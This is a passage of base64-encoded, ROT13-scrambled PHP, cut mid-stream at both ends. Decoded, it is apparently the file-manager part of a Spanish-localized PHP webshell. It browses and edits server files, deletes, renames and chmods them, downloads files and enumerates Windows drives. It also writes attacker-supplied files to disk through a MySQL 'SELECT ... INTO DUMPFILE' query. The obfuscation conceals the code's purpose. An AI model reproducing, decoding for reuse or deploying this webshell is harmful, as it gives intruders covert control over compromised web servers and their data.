ybnFyZSgnUGJhZ3JhZy1RdmZjYmZ2Z3ZiYTogbmdnbnB1enJhZztzdnlyYW56cj0nLiRfRlJFSVJFWydVR0dDX1VCRkcnXS4nX1N2eXJmLmduZS50bScpO3JwdWIgJHBicXI7cmt2Zzt9IHJ5ZnIge3ooJ0N5cm5mciBmcnlycGcgc3Z5cihmKScpO319cnlmcnZzKCRxYnZhdCA9PSAncXJ5c3Z5cmYnKSB7dnMgKCRxeSkgeyRxc3Z5cmY9Jyc7JGZocHAgPSAkc252eSA9IDA7c2Jlcm5wdSAoJHF5IG5mICRzdnlyY25ndSA9PiAkaW55aHIpIHt2cyAoQGhheXZheCgkc3Z5cmNuZ3UpKSB7JGZocHArKzt9IHJ5ZnIgeyRzbnZ5Kys7fX16KCdRcnlyZ3JxIHN2eXIgdW5pciBzdmF2ZnVycSxwdWJiZnIgJy5wYmhhZygkcXkpLicgZmhwcHJmZiAnLiRmaHBwLicgc252eSAnLiRzbnZ5KTt9IHJ5ZnIge3ooJ0N5cm5mciBmcnlycGcgc3Z5cihmKScpO319c2JlenVybnEobmVlbmwoJ2FuenInPT4ncGVybmdycXZlJykpO3pueHJ1dnFyKCdhcmpxdmVhbnpyJyk7em54cnV2cXIoJ3F2ZScsJGFiamNuZ3UpO3NiZXpzYmJnKCk7c2JlenVybnEobmVlbmwoJ2FuenInPT4nc3Z5cmNyZXonKSk7em54cnV2cXIoJ2FyamNyZXonKTt6bnhydXZxcignY3N2eXInKTt6bnhydXZxcigncXZlJywkYWJqY25ndSk7c2JlenNiYmcoKTtzYmV6dXJucShuZWVubCgnYW56cic9PidwYmNsc3Z5cicpKTt6bnhydXZxcignZmFuenInKTt6bnhydXZxcignZ2JzdnlyJyk7em54cnV2cXIoJ3F2ZScsJGFiamNuZ3UpO3NiZXpzYmJnKCk7c2JlenVybnEobmVlbmwoJ2FuenInPT4nZXJhbnpyJykpO3pueHJ1dnFyKCdieXFhbnpyJyk7em54cnV2cXIoJ2FyanN2eXJhbnpyJyk7em54cnV2cXIoJ3F2ZScsJGFiamNuZ3UpO3NiZXpzYmJnKCk7c2JlenVybnEobmVlbmwoJ2FuenInPT4nc3Z5cmJjc2JleicsICdnbmV0cmcnPT4nX295bmF4JykpO3pueHJ1dnFyKCducGd2YmEnKTt6bnhydXZxcignYmNzdnlyJyk7em54cnV2cXIoJ3F2ZScpO3NiZXpzYmJnKCk7c2JlenVybnEobmVlbmwoJ2FuenInPT4ndHJnZnZtcicpKTt6bnhydXZxcigndHJncXZlJyk7em54cnV2cXIoJ3F2ZScpO3NiZXpzYmJnKCk7JHNlcnIgPSBAcXZmeF9zZXJyX2ZjbnByKCRhYmpjbmd1KTshJHNlcnIgJiYgJHNlcnIgPSAwOyRueXkgPSBAcXZmeF9nYmdueV9mY25wcigkYWJqY25ndSk7ISRueXkgJiYgJG55eSA9IDA7JGhmcnEgPSAkbnl5LSRzZXJyOyRoZnJxX2NyZXByYWcgPSBAZWJoYXEoMTAwLygkbnl5LyRzZXJyKSwyKTtjKCc8dTI+TmVwdXZpYmYvLyAtIFJmY25wdmIgcmEgcXZmcGIgJy5mdm1ycGJoYWcoJHNlcnIpLicgYnMgJy5mdm1ycGJoYWcoJG55eSkuJyAoJy4kaGZycV9jcmVwcmFnLiclKTwvdTI+Jyk7DQo/Pg0KPGdub3lyIGp2cWd1PSIxMDAlIiBvYmVxcmU9IjAiIHByeXljbnFxdmF0PSIwIiBwcnl5ZmNucHZhdD0iMCIgZmdseXI9InpuZXR2YToxMGNrIDA7Ij4NCiA8c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIiB2cT0idGJxdmUiIGFuenI9InRicXZlIj4NCiA8Z2U+DQogPGdxIGFiamVuYz5FaGduIE5wZ2hueSAoPD9jdWMgcnB1YiAkcXZlX2pldmdybm95cjs/PiwgPD9jdWMgcnB1YiB0cmdQdXpicSgkYWJqY25ndSk7Pz4pPC9ncT4NCjxncSBqdnFndT0iMTAwJSI+PHZhY2hnIGFuenI9Iml2cmpfamV2Z25veXIiIGlueWhyPSIwIiBnbGNyPSJ1dnFxcmEiIC8+PHZhY2hnIHB5bmZmPSJ2YWNoZyIgYW56cj0icXZlIiBpbnlocj0iPD9jdWMgcnB1YiAkYWJqY25ndTs/PiIgZ2xjcj0iZ3JrZyIgZmdseXI9Imp2cWd1OjEwMCU7em5ldHZhOjAgOGNrOyI+PC9ncT4NCiA8Z3EgYWJqZW5jPjx2YWNoZyBweW5mZj0ib2ciIGlueWhyPSJWRSBOIEVIR04iIGdsY3I9ImZob3p2ZyI+PC9ncT4NCiA8L2dlPg0KIDwvc2Jlej4NCjwvZ25veXI+DQo8ZnBldmNnIGdsY3I9Imdya2cvd25pbmZwZXZjZyI+DQpzaGFwZ3ZiYSBwZXJuZ3JxdmUoKXtpbmUgYXJqcXZlYW56cjthcmpxdmVhbnpyID0gY2ViemNnKCdWYXRlcmZyIHJ5IGFiem9lciBxcnkgcXZlcnBnYmV2YjonLCAnJyk7dnMgKCFhcmpxdmVhbnpyKSBlcmdoZWE7JCgncGVybmdycXZlJykuYXJqcXZlYW56ci5pbnlocj1hcmpxdmVhbnpyOyQoJ3Blcm5ncnF2ZScpLmZob3p2ZygpOw0KfXNoYXBndmJhIHN2eXJjcmV6KGNzdnlyKXtpbmUgYXJqY3JlejthcmpjcmV6ID0gY2ViemNnKCdOZXB1dmliOicrY3N2eXIrJ1xhVmF0ZXJmciB5YmYgYWhyaWJmIG5nZXZvaGdiZjonLCAnJyk7dnMgKCFhcmpjcmV6KSBlcmdoZWE7JCgnc3Z5cmNyZXonKS5hcmpjcmV6LmlueWhyPWFyamNyZXo7JCgnc3Z5cmNyZXonKS5jc3Z5ci5pbnlocj1jc3Z5cjskKCdzdnlyY3JleicpLmZob3p2ZygpOw0KfXNoYXBndmJhIHBiY2xzdnlyKGZhbnpyKXtpbmUgZ2JzdnlyO2dic3Z5ciA9IGNlYnpjZygnRWhnbiBucGdobnk6JytmYW56cisnXGFWYXRlcmZyIHluIGVoZ24gcWJhcXIgZnIgcGJjdm5lbjonLCAnJyk7dnMgKCFnYnN2eXIpIGVyZ2hlYTskKCdwYmNsc3Z5cicpLmdic3Z5ci5pbnlocj1nYnN2eXI7JCgncGJjbHN2eXInKS5mYW56ci5pbnlocj1mYW56cjskKCdwYmNsc3Z5cicpLmZob3p2ZygpOw0KfXNoYXBndmJhIGVyYW56cihieXFhbnpyKXtpbmUgYXJqc3Z5cmFuenI7YXJqc3Z5cmFuenIgPSBjZWJ6Y2coJ0Fiem9lciBucGdobnk6JytieXFhbnpyKydcYVZhdGVyZnIgaGEgYWhyaWIgYWJ6b2VyOicsICcnKTt2cyAoIWFyanN2eXJhbnpyKSBlcmdoZWE7JCgnZXJhbnpyJykuYXJqc3Z5cmFuenIuaW55aHI9YXJqc3Z5cmFuenI7JCgnZXJhbnpyJykuYnlxYW56ci5pbnlocj1ieXFhbnpyOyQoJ2VyYW56cicpLmZob3p2ZygpOw0KfXNoYXBndmJhIHFic3Z5cihxYnZhdCxndXJzdnlyLHope3ZzICh6ICYmICFwYmFzdmV6KHopKSB7ZXJnaGVhO30kKCdzdnlyeXZmZycpLnFidmF0LmlueWhyPXFidmF0O3ZzIChndXJzdnlyKXskKCdzdnlyeXZmZycpLmd1cnN2eXIuaW55aHI9Z3Vyc3Z5cjt9JCgnc3Z5cnl2ZmcnKS5maG96dmcoKTsNCn1zaGFwZ3ZiYSBwZXJuZ3JzdnlyKGFiamNuZ3Upe2luZSBzdnlyYW56cjtzdnlyYW56ciA9IGNlYnpjZygnVmF0ZXJmciByeSBhYnpvZXIgcXJ5IG5lcHV2aWI6JywgJycpO3ZzICghc3Z5cmFuenIpIGVyZ2hlYTtiY3N2eXIoJ3JxdmdzdnlyJyxhYmpjbmd1ICsgc3Z5cmFuenIsYWJqY25ndSk7DQp9c2hhcGd2YmEgYmNzdnlyKG5wZ3ZiYSxiY3N2eXIscXZlKXskKCdzdnlyYmNzYmV6JykubnBndmJhLmlueWhyPW5wZ3ZiYTskKCdzdnlyYmNzYmV6JykuYmNzdnlyLmlueWhyPWJjc3Z5cjskKCdzdnlyYmNzYmV6JykucXZlLmlueWhyPXF2ZTskKCdzdnlyYmNzYmV6JykuZmhvenZnKCk7DQp9c2hhcGd2YmEgdGJxdmUocXZlLGl2cmpfamV2Z25veXIpe3ZzIChpdnJqX2pldmdub3lyKSB7JCgndGJxdmUnKS5pdnJqX2pldmdub3lyLmlueWhyPWl2cmpfamV2Z25veXI7fSQoJ3RicXZlJykucXZlLmlueWhyPXF2ZTskKCd0YnF2ZScpLmZob3p2ZygpOw0KfXNoYXBndmJhIHRyZ2Z2bXIodHJncXZlLHF2ZSl7JCgndHJnZnZtcicpLnRyZ3F2ZS5pbnlocj10cmdxdmU7JCgndHJnZnZtcicpLnF2ZS5pbnlocj1xdmU7JCgndHJnZnZtcicpLmZob3p2ZygpOw0KfTwvZnBldmNnPg0KIDw/Y3VjDQokc3ZhcWZnZSA9ICRfQ0JGR1snc3ZhcWZnZSddOyRlciA9ICRfQ0JGR1snZXInXTtnb3VybnEoKTtjKCc8Z2UgcHluZmY9Im55ZzEiPjxncSBwYnlmY25hPSI3IiBmZ2x5cj0iY25xcXZhdDo1Y2s7eXZhci11cnZ0dWc6MjBjazsiPicpO2MoJzxzYmV6IG5wZ3ZiYT0iJy4kZnJ5cy4nIiB6cmd1YnE9IkNCRkciIHJhcGdsY3I9InpoeWd2Y25lZy9zYmV6LXFuZ24iPjxxdmkgZmdseXI9InN5Ym5nOmV2dHVnOyI+PHZhY2hnIHB5bmZmPSJ2YWNoZyIgYW56cj0iaGN5Ym5xc3Z5ciIgaW55aHI9IiIgZ2xjcj0ic3Z5ciIgLz4gPHZhY2hnIHB5bmZmPSJvZyIgYW56cj0icWJoY3N2eXIiIGlueWhyPSJIY3libnEiIGdsY3I9ImZob3p2ZyIgLz48dmFjaGcgYW56cj0iaGN5Ym5xcXZlIiBpbnlocj0iJy4kcXZlLiciIGdsY3I9InV2cXFyYSIgLz48dmFjaGcgYW56cj0icXZlIiBpbnlocj0iJy4kcXZlLiciIGdsY3I9InV2cXFyYSIgLz48L3F2aT48L3NiZXo+Jyk7YygnPG4gdWVycz0id25pbmZwZXZjZzp0YnF2ZShcJycuJF9GUkVJUkVbIlFCUEhaUkFHX0VCQkciXS4nXCcpOyI+SnJvRWJiZzwvbj4nKTtjKCcgfCA8biB1ZXJzPSJ3bmluZnBldmNnOnRicXZlKFwnLlwnKTsiPkVoZ24gRnVyeXk8L24+Jyk7YygnIHwgPG4gdWVycz0id25pbmZwZXZjZzp0YnF2ZShcJycuJGFiamNuZ3UuJ1wnKTsiPklyZSBnYnFiPC9uPicpO2MoJyB8IEl2cmogSmV2Z25veXIgKDxuIHVlcnM9InduaW5mcGV2Y2c6dGJxdmUoXCcnLiRhYmpjbmd1LidcJyxcJ3F2ZVwnKTsiPlF2ZXJwZ2JldmI8L24+Jyk7YygnIHwgPG4gdWVycz0id25pbmZwZXZjZzp0YnF2ZShcJycuJGFiamNuZ3UuJ1wnLFwnc3Z5clwnKTsiPk5lcHV2aWI8L24+KScpO2MoJyB8IDxuIHVlcnM9InduaW5mcGV2Y2c6cGVybmdycXZlKCk7Ij5QZXJuZSBRdmVycGdiZXZiPC9uPiB8IDxuIHVlcnM9InduaW5mcGV2Y2c6cGVybmdyc3Z5cihcJycuJGFiamNuZ3UuJ1wnKTsiPlBlcm5lIE5lcHV2aWI8L24+Jyk7dnMgKFZGX0pWQSAmJiBWRl9QQlopIHskYm93ID0gYXJqIFBCWignZnBldmNndmF0LnN2eXJmbGZncnpib3dycGcnKTt2cyAoJGJvdyAmJiB2Zl9ib3dycGcoJGJvdykgJiYgdmZfbmVlbmwoJGJvdy0+UWV2aXJmKSkgeyRRZXZpckdsY3JRTyA9IG5lZW5sKDAgPT4gJ0hheGFiamEnLDEgPT4gJ0VyemJpdm95cicsMiA9PiAnU3ZrcnEnLDMgPT4gJ0FyZ2piZXgnLDQgPT4gJ1BRRWJ6Jyw1ID0+ICdFTlogUXZmeCcpO3NiZXJucHUoJGJvdy0+UWV2aXJmIG5mICRxZXZpcikge3ZzICgkcWV2aXItPlFldmlyR2xjciA9PSAyKSB7YygnIHwgPG4gdWVycz0id25pbmZwZXZjZzp0YnF2ZShcJycuJHFldmlyLT5Dbmd1LicvXCcpOyIgZ3ZneXI9IkZ2bXI6Jy5mdm1ycGJoYWcoJHFldmlyLT5HYmdueUZ2bXIpLicmIzEzO1l2b2VyOicuZnZtcnBiaGFnKCRxZXZpci0+U2VyckZjbnByKS4nJiMxMztHdmNiOicuJFFldmlyR2xjclFPWyRxZXZpci0+UWV2aXJHbGNyXS4nIj4nLiRRZXZpckdsY3JRT1skcWV2aXItPlFldmlyR2xjcl0uJygnLiRxZXZpci0+Q25ndS4nKTwvbj4nKTt9IHJ5ZnIge2MoJyB8IDxuIHVlcnM9InduaW5mcGV2Y2c6dGJxdmUoXCcnLiRxZXZpci0+Q25ndS4nL1wnKTsiIGd2Z3lyPSJHdmNiOicuJFFldmlyR2xjclFPWyRxZXZpci0+UWV2aXJHbGNyXS4nIj4nLiRRZXZpckdsY3JRT1skcWV2aXItPlFldmlyR2xjcl0uJygnLiRxZXZpci0+Q25ndS4nKTwvbj4nKTt9fX19YygnPG9lIC8+PHNiZXogbnBndmJhPSInLiRmcnlzLiciIHpyZ3VicT0iQ0JGRyI+T2hmcG5lIGdya2diIHJhIG5lcHV2aWJmOiA8dmFjaGcgcHluZmY9InZhY2hnIiBhbnpyPSJzdmFxZmdlIiBpbnlocj0iJy4kc3ZhcWZnZS4nIiBnbGNyPSJncmtnIiAvPiA8dmFjaGcgcHluZmY9Im9nIiBpbnlocj0iT2hmcG5lIiBnbGNyPSJmaG96dmciIC8+IFJrZ3JhZnZiYTogPHZhY2hnIHB5bmZmPSJ2YWNoZyIgYW56cj0iamV2Z25veXJxbyIgaW55aHI9IicuJGpldmdub3lycW8uJyIgZ2xjcj0iZ3JrZyIgLz48dmFjaGcgYW56cj0icXZlIiBpbnlocj0iJy4kcXZlLiciIGdsY3I9InV2cXFyYSIgLz4gPHZhY2hnIGFuenI9ImVyIiBpbnlocj0iMSIgZ2xjcj0icHVycHhvYmsiICcuKCRlciA/ICdwdXJweHJxJyA6ICcnKS4nIC8+IFJrY2VyZnZiYXJmIGVydGh5bmVyZjwvc2Jlej48L2dxPjwvZ2U+Jyk7YygnPGdlIHB5bmZmPSJ1cm5xIj48Z3E+JmFvZmM7PC9ncT48Z3E+QWJ6b2VyPC9ncT48Z3EganZxZ3U9IjE2JSI+SHlndnpuIHpicXZzdnBucHZiYTwvZ3E+PGdxIGp2cWd1PSIxMCUiPkZ2bXI8L2dxPjxncSBqdnFndT0iMjAlIj5QdXpicSAvIENyZXp2ZmI8L2dxPjxncSBqdnFndT0iMjIlIj5OcHB2YmFyZjwvZ3E+PC9nZT4nKTskcXZlcW5nbj1uZWVubCgpOyRzdnlycW5nbj1uZWVubCgpO3ZzICgkaXZyal9qZXZnbm95ciA9PSAncXZlJykgeyRxdmVxbmduID0gVHJnSlF2ZVl2ZmcoJGFiamNuZ3UpOyRzdnlycW5nbiA9IG5lZW5sKCk7fSByeWZydnMgKCRpdnJqX2pldmdub3lyID09ICdzdnlyJykgeyRxdmVxbmduID0gbmVlbmwoKTskc3Z5cnFuZ24gPSBUcmdKU3Z5cll2ZmcoJGFiamNuZ3UpO30gcnlmcnZzICgkc3ZhcWZnZSkgeyRxdmVxbmduID0gbmVlbmwoKTskc3Z5cnFuZ24gPSBUcmdGU3Z5cll2ZmcoJGFiamNuZ3UsICRzdmFxZmdlLCAkZXIpO30gcnlmciB7JHF2ZWY9QGJjcmFxdmUoJHF2ZSk7anV2eXIgKCRzdnlyPUBlcm5xcXZlKCRxdmVmKSkgeyRzdnlyY25ndT0kYWJqY25ndS4kc3Z5cjt2cyhAdmZfcXZlKCRzdnlyY25ndSkpeyRxdmVxb1snc3Z5cmFuenInXT0kc3Z5cjskcXZlcW9bJ3pndnpyJ109QHFuZ3IoJ0wtei1xIFU6djpmJyxzdnlyemd2enIoJHN2eXJjbmd1KSk7JHF2ZXFvWydxdmVwdXpicSddPXRyZ1B1emJxKCRzdnlyY25ndSk7JHF2ZXFvWydxdmVjcmV6J109dHJnQ3JlemYoJHN2eXJjbmd1KTskcXZlcW9bJ3N2eXJiamFyZSddPXRyZ0hmcmUoJHN2eXJjbmd1KTskcXZlcW9bJ3F2ZXl2YXgnXT0kYWJqY25ndTskcXZlcW9bJ2ZyZWlyZV95dmF4J109JHN2eXJjbmd1OyRxdmVxb1sncHl2cmFnX3l2YXgnXT1ocigkc3Z5cmNuZ3UpOyRxdmVxbmduW109JHF2ZXFvO30gcnlmciB7JHN2eXJxb1snc3Z5cmFuenInXT0kc3Z5cjskc3Z5cnFvWydmdm1yJ109ZnZtcnBiaGFnKEBzdnlyZnZtcigkc3Z5cmNuZ3UpKTskc3Z5cnFvWyd6Z3Z6ciddPUBxbmdyKCdMLXotcSBVOnY6Zicsc3Z5cnpndnpyKCRzdnlyY25ndSkpOyRzdnlycW9bJ3N2eXJwdXpicSddPXRyZ1B1emJxKCRzdnlyY25ndSk7JHN2eXJxb1snc3Z5cmNyZXonXT10cmdDcmV6Zigkc3Z5cmNuZ3UpOyRzdnlycW9bJ3N2eXJiamFyZSddPXRyZ0hmcmUoJHN2eXJjbmd1KTskc3Z5cnFvWydxdmV5dmF4J109JGFiamNuZ3U7JHN2eXJxb1snZnJlaXJlX3l2YXgnXT0kc3Z5cmNuZ3U7JHN2eXJxb1sncHl2cmFnX3l2YXgnXT1ocigkc3Z5cmNuZ3UpOyRzdnlycW5nbltdPSRzdnlycW87fX1oYWZyZygkcXZlcW8pO2hhZnJnKCRzdnlycW8pO0BweWJmcnF2ZSgkcXZlZik7fUBmYmVnKCRxdmVxbmduKTtAZmJlZygkc3Z5cnFuZ24pOyRxdmVfdiA9ICcwJztzYmVybnB1KCRxdmVxbmduIG5mICR4cmwgPT4gJHF2ZXFvKXt2cygkcXZlcW9bJ3N2eXJhbnpyJ10hPScuLicgJiYgJHF2ZXFvWydzdnlyYW56ciddIT0nLicpIHt2cygkdHJncXZlICYmICR0cmdxdmUgPT0gJHF2ZXFvWydmcmVpcmVfeXZheCddKSB7JG5nZ25wdWZ2bXIgPSBxdmVmdm1yKCRxdmVxb1snZnJlaXJlX3l2YXgnXSk7JG5nZ25wdWZ2bXIgPSB2Zl9haHpyZXZwKCRuZ2ducHVmdm1yKSA/IGZ2bXJwYmhhZygkbmdnbnB1ZnZtcikgOiAnSGF4YWJqYSc7fSByeWZyIHskbmdnbnB1ZnZtciA9ICc8biB1ZXJzPSJ3bmluZnBldmNnOnRyZ2Z2bXIoXCcnLiRxdmVxb1snZnJlaXJlX3l2YXgnXS4nXCcsXCcnLiRxdmUuJ1wnKTsiPlBueXBoeW5lPC9uPic7fSRndXZmb3QgPSBvdCgpO2MoJzxnZSBweW5mZj0iJy4kZ3V2Zm90LiciIGJhemJoZnJiaXJlPSJndXZmLnB5bmZmQW56cj1cJ3NicGhmXCc7IiBiYXpiaGZyYmhnPSJndXZmLnB5bmZmQW56cj1cJycuJGd1dmZvdC4nXCc7Ij4nKTtjKCc8Z3EganZxZ3U9IjIlIiBhYmplbmM+PHNiYWcgc25wcj0ianZhdHF2YXRmIiBmdm1yPSIzIj4wPC9zYmFnPjwvZ3E+Jyk7YygnPGdxPjxuIHVlcnM9InduaW5mcGV2Y2c6dGJxdmUoXCcnLiRxdmVxb1snZnJlaXJlX3l2YXgnXS4nXCcpOyI+Jy4kcXZlcW9bJ3N2eXJhbnpyJ10uJzwvbj48L2dxPicpO2MoJzxncSBhYmplbmM+Jy4kcXZlcW9bJ3pndnpyJ10uJzwvZ3E+Jyk7YygnPGdxIGFiamVuYz4nLiRuZ2ducHVmdm1yLic8L2dxPicpO2MoJzxncSBhYmplbmM+Jyk7YygnPG4gdWVycz0id25pbmZwZXZjZzpzdnlyY3JleihcJycuJHF2ZXFvWydmcmVpcmVfeXZheCddLidcJyk7Ij4nLiRxdmVxb1sncXZlcHV6YnEnXS4nPC9uPiAvICcpO2MoJzxuIHVlcnM9InduaW5mcGV2Y2c6c3Z5cmNyZXooXCcnLiRxdmVxb1snZnJlaXJlX3l2YXgnXS4nXCcpOyI+Jy4kcXZlcW9bJ3F2ZWNyZXonXS4nPC9uPicuJHF2ZXFvWydzdnlyYmphcmUnXS4nPC9ncT4nKTtjKCc8Z3EgYWJqZW5jPjxuIHVlcnM9InduaW5mcGV2Y2c6cWJzdnlyKFwncXJ5cXZlXCcsXCcnLiRxdmVxb1snZnJlaXJlX3l2YXgnXS4nXCcsXCdSZmduIGZydGhlYiBxciBvYmVlbmUgPCcuJHF2ZXFvWydzdnlyYW56ciddLic+PyBcXGFcXGFGdiByeSBxdmVycGdiZXZiIGFiIHJmZ24gaW5wdmIsIGdicWJmIHliZiBuZXB1dmliZiBmciBvYmVlbmVuYS5cJykiPk9iZWVuZTwvbj4gfCA8biB1ZXJzPSJ3bmluZnBldmNnOmVyYW56cihcJycuJHF2ZXFvWydmcmVpcmVfeXZheCddLidcJyk7Ij5FcmFiem9lbmU8L24+PC9ncT4nKTtjKCc8L2dlPicpOyRxdmVfdisrO30gcnlmciB7dnMoJHF2ZXFvWydzdnlyYW56ciddPT0nLi4nKSB7YygnPGdlIHB5bmZmPScub3QoKS4nPicpO2MoJzxncSBueXZ0YT0icHJhZ3JlIj48c2JhZyBzbnByPSJKdmF0cXZhdGYgMyIgZnZtcj00Pj08L3NiYWc+PC9ncT48Z3EgYWJqZW5jIHBieWZjbmE9IjUiPjxuIHVlcnM9InduaW5mcGV2Y2c6dGJxdmUoXCcnLnRyZ0hjQ25ndSgkYWJqY25ndSkuJ1wnKTsiPkNuZXJhZyBRdmVycGdiZWw8L24+PC9ncT4nKTtjKCc8L2dlPicpO319fWMoJzxnZSBvdHBieWJlPSIjcXFxcXFxIiBmZ3lscj0ib2JlcXJlLWdiYzoxY2sgZmJ5dnEgI3NzcztvYmVxcmUtb2JnZ2J6OjFjayBmYnl2cSAjcXFxOyI+PGdxIHBieWZjbmE9IjYiIHVydnR1Zz0iNSI+PC9ncT48L2dlPicpO2MoJzxzYmV6IHZxPSJzdnlyeXZmZyIgYW56cj0ic3Z5cnl2ZmciIG5wZ3ZiYT0iJy4kZnJ5cy4nIiB6cmd1YnE9ImNiZmciPicpO3pueHJ1dnFyKCducGd2YmEnLCdzdnlyJyk7em54cnV2cXIoJ2d1cnN2eXInKTt6bnhydXZxcigncWJ2YXQnKTt6bnhydXZxcigncXZlJywkYWJqY25ndSk7JHN2eXJfdiA9ICcwJztzYmVybnB1KCRzdnlycW5nbiBuZiAkeHJsID0+ICRzdnlycW8pe3ZzKCRzdnlycW9bJ3N2eXJhbnpyJ10hPScuLicgJiYgJHN2eXJxb1snc3Z5cmFuenInXSE9Jy4nKSB7JHN2eXJoZXkgPSBmZ2VfZXJjeW5wcigkX0ZSRUlSRVsiUUJQSFpSQUdfRUJCRyJdLCcnLCRzdnlycW9bJ2ZyZWlyZV95dmF4J10pOyRndXZmb3QgPSBvdCgpO2MoJzxnZSBweW5mZj0iJy4kZ3V2Zm90LiciIGJhemJoZnJiaXJlPSJndXZmLnB5bmZmQW56cj1cJ3NicGhmXCc7IiBiYXpiaGZyYmhnPSJndXZmLnB5bmZmQW56cj1cJycuJGd1dmZvdC4nXCc7Ij4nKTtjKCc8Z3EganZxZ3U9IjIlIiBhYmplbmM+PHZhY2hnIGdsY3I9InB1cnB4b2JrIiBpbnlocj0iMSIgYW56cj0icXlbJy4kc3Z5cnFvWydmcmVpcmVfeXZheCddLiddIj48L2dxPicpO2MoJzxncT48biB1ZXJzPSInLiRzdnlyaGV5LiciIGduZXRyZz0iX295bmF4Ij4nLiRzdnlycW9bJ3N2eXJhbnpyJ10uJzwvbj48L2dxPicpO2MoJzxncSBhYmplbmM+Jy4kc3Z5cnFvWyd6Z3Z6ciddLic8L2dxPicpO2MoJzxncSBhYmplbmM+Jy4kc3Z5cnFvWydmdm1yJ10uJzwvZ3E+Jyk7YygnPGdxIGFiamVuYz4nKTtjKCc8biB1ZXJzPSJ3bmluZnBldmNnOnN2eXJjcmV6KFwnJy4kc3Z5cnFvWydmcmVpcmVfeXZheCddLidcJyk7Ij4nLiRzdnlycW9bJ3N2eXJwdXpicSddLic8L24+IC8gJyk7YygnPG4gdWVycz0id25pbmZwZXZjZzpzdnlyY3JleihcJycuJHN2eXJxb1snZnJlaXJlX3l2YXgnXS4nXCcpOyI+Jy4kc3Z5cnFvWydzdnlyY3JleiddLic8L24+Jy4kc3Z5cnFvWydzdnlyYmphcmUnXS4nPC9ncT4nKTtjKCc8Z3EgYWJqZW5jPicpO2MoJzxuIHVlcnM9InduaW5mcGV2Y2c6cWJzdnlyKFwncWJqYXN2eXJcJyxcJycuJHN2eXJxb1snZnJlaXJlX3l2YXgnXS4nXCcpOyI+UXJmcG5ldG5lPC9uPiB8ICcpO2MoJzxuIHVlcnM9InduaW5mcGV2Y2c6cGJjbHN2eXIoXCcnLiRzdnlycW9bJ2ZyZWlyZV95dmF4J10uJ1wnKTsiPlBiY3ZuZTwvbj4gfCAnKTtjKCc8biB1ZXJzPSJ3bmluZnBldmNnOmJjc3Z5cihcJ3JxdmdzdnlyXCcsXCcnLiRzdnlycW9bJ2ZyZWlyZV95dmF4J10uJ1wnLFwnJy4kc3Z5cnFvWydxdmV5dmF4J10uJ1wnKTsiPlJxdmduZTwvbj4gfCAnKTtjKCc8biB1ZXJzPSJ3bmluZnBldmNnOmVyYW56cihcJycuJHN2eXJxb1snZnJlaXJlX3l2YXgnXS4nXCcpOyI+RXJhYnpvZW5lPC9uPiB8ICcpO2MoJzxuIHVlcnM9InduaW5mcGV2Y2c6YmNzdnlyKFwnYXJqZ3Z6clwnLFwnJy4kc3Z5cnFvWydmcmVpcmVfeXZheCddLidcJyxcJycuJHN2eXJxb1sncXZleXZheCddLidcJyk7Ij5HdnJ6Y2I8L24+Jyk7YygnPC9ncT48L2dlPicpOyRzdnlyX3YrKzt9fWMoJzxnZSBweW5mZj0iJy5vdCgpLiciPjxncSBueXZ0YT0icHJhZ3JlIj48dmFjaGcgYW56cj0icHV4bnl5IiBpbnlocj0iYmEiIGdsY3I9InB1cnB4b2JrIiBiYXB5dnB4PSJQdXJweE55eShndXZmLnNiZXopIiAvPjwvZ3E+PGdxPjxuIHVlcnM9InduaW5mcGV2Y2c6cWJzdnlyKFwncWJqYWVuZVwnKTsiPlFyZnBuZXRuZSBmcnlycHB2YmFucWJmPC9uPiAtIDxuIHVlcnM9InduaW5mcGV2Y2c6cWJzdnlyKFwncXJ5c3Z5cmZcJyk7Ij5PYmVlbmUgZnJ5cnBwdmJhbnFiZjwvbj48L2dxPjxncSBwYnlmY25hPSI0IiBueXZ0YT0iZXZ0dWciPicuJHF2ZV92LicgcXZlcnBnYmV2YmYgLyAnLiRzdnlyX3YuJyBuZXB1dmliZjwvZ3E+PC9nZT4nKTtjKCc8L3NiZXo+PC9nbm95cj4nKTsNCn1yeWZydnMgKCRucGd2YmEgPT0gJ2ZkeXN2eXInKSB7dnMoJHFidmF0PT0iemxmZHloY3libnEiKXskc3Z5ciA9ICRfU1ZZUkZbJ2hjeWJucXN2eXInXTskc3Z5cmFuenIgPSAkc3Z5clsnZ3pjX2FuenInXTt2cyAoc3Z5cl9ya3ZmZ2YoJGZuaXJjbmd1KSkge3ooJ1J5IG5lcHV2aWIgbG4gcmt2ZmdyJyk7fSByeWZyIHt2cyghJHN2eXJhbnpyKSB7eignUnl2d24gaGEgbmVwdXZpYicpO30gcnlmciB7JHNjPUBzYmNyYSgkc3Z5cmFuenIsJ2UnKTskcGJhZ3JhZ2Y9QHNlcm5xKCRzYywgc3Z5cmZ2bXIoJHN2eXJhbnpyKSk7QHNweWJmcigkc2MpOyRwYmFncmFnZiA9IG92YTJ1cmsoJHBiYWdyYWdmKTt2cyghJGhjYW56cikgJGhjYW56ciA9ICRzdnlyWydhbnpyJ107emxxb3BiYWEoJHFvdWJmZywkcW9oZnJlLCRxb2NuZmYsJHFvYW56ciwkcHVuZWZyZywkcW9jYmVnKTskZXJmaHlnID0gZCgiRlJZUlBHIDBreyRwYmFncmFnZn0gU0VCWiB6bGZkeS5oZnJlIFZBR0IgUUhaQ1NWWVIgJyRmbmlyY25ndSc7Iik7eigkZXJmaHlnID8gJ0Zob3ZxbiBwYmEgcmt2Z2InIDogJ0Zob3ZxbiBzbnl5dnFuOiAnLnpsZmR5X3JlZWJlKCkpO319fT8+DQo8ZnBldmNnIGdsY3I9Imdya2cvd25pbmZwZXZjZyI+DQpzaGFwZ3ZiYSB6bGZkeXN2eXIocWJ2YXQpe3ZzKCFxYnZhdCkgZXJnaGVhOyQoJ3FidmF0JykuaW55aHI9cWJ2YXQ7JCgnemxmZHlzdnlyJykucW91YmZnLmlueWhyPSQoJ3FvdmFzYicpLnFvdWJmZy5pbnlocjskKCd6bGZkeXN2eXInKS5xb2NiZWcuaW55aHI9JCgncW92YXNiJykucW9jYmVnLmlueWhyOyQoJ3psZmR5c3Z5cicpLnFvaGZyZS5pbnlocj0kKCdxb3Zhc2InKS5xb2hmcmUuaW55aHI7JCgnemxmZHlzdnlyJykucW9jbmZmLmlueWhyPSQoJ3FvdmFzYicpLnFvY25mZi5pbnlocjskKCd6bGZkeXN2eXInKS5xb2FuenIuaW55aHI9JCgncW92YXNiJykucW9hbnpyLmlueWhyOyQoJ3psZmR5c3Z5cicpLnB1bmVmcmcuaW55aHI9JCgncW92YXNiJykucHVuZWZyZy5pbnlocjskKCd6bGZke